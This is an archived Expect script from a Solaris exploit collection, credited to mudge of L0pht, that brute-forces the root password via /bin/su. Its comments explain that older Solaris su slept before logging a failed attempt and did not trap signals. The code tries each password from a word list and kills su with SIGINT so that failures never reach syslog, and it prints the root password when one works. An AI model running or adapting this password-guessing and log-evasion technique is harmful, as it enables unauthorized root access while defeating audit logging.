home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / local / su.expect.sh < prev    next >
Text File  |  2005-02-12  |  2KB  |  64 lines

  1. #!/usr/local/bin/expect --
  2.  
  3. # A quick little sploit for a quick round of beers :) mudge@L0pht.com
  4. #
  5. # This was something that had been floating around for some time.
  6. # It might have been bitwrior that pointed out some of the oddities
  7. # but I don't remember. 
  8. #
  9. # It was mentioned to Casper Dik at some point and it was fixed in
  10. # the next rev of Solaris (don't remember if the fix took place in
  11. # 2.5.1 or 2.6 - I know it is in 2.6 at least).
  12. #
  13. # What happened was that the Solaris 2.5 and below systems
  14. # had /bin/su written in the following fashion :
  15. #
  16. #    attempt to SU
  17. #          |
  18. #     succesfull
  19. #    /          \
  20. #   Y            N
  21. #   |            |
  22. # exec cmd     sleep
  23. #                |
  24. #             syslog
  25. #                |
  26. #              exit
  27. #
  28. # There were a few problems here - not the least of which was that they
  29. # did not bother to trap signals. Thus, if you noticed su taking a while
  30. # you most likely entered an incorrect password and were in the
  31. # sleep phase.
  32. #
  33. # Sending a SIGINT by hitting ctrl-c would kill the process
  34. # before the syslog of the invalid attempt occured.
  35. #
  36. # In current versions of /bin/su they DO trap signals.
  37. #
  38. # It should be noted that this is a fairly common coding problem that
  39. # people will find in a lot of "security related" programs.
  40. #
  41. #     .mudge
  42.  
  43.  
  44. if { ($argc < 1) || ($argc > 1) } {
  45.   puts "correct usage is : $argv0 pwfile"
  46.   exit
  47. }
  48.  
  49. set pwfile [open $argv "r"]
  50.  
  51. log_user 0
  52. foreach line [split [read $pwfile] "\n"] {
  53.   spawn su root
  54.   expect "Password:"
  55.   send "$line\n"
  56.   # you might need to tweak this but it should be ok
  57.   set timeout 2
  58.   expect {
  59.     "#" { puts "root password is $line\n" ; exit }
  60.   }
  61.   set id [ exp_pid ]
  62.   exec kill -INT $id
  63. }
  64. #                 www.hack.co.za           [2000]#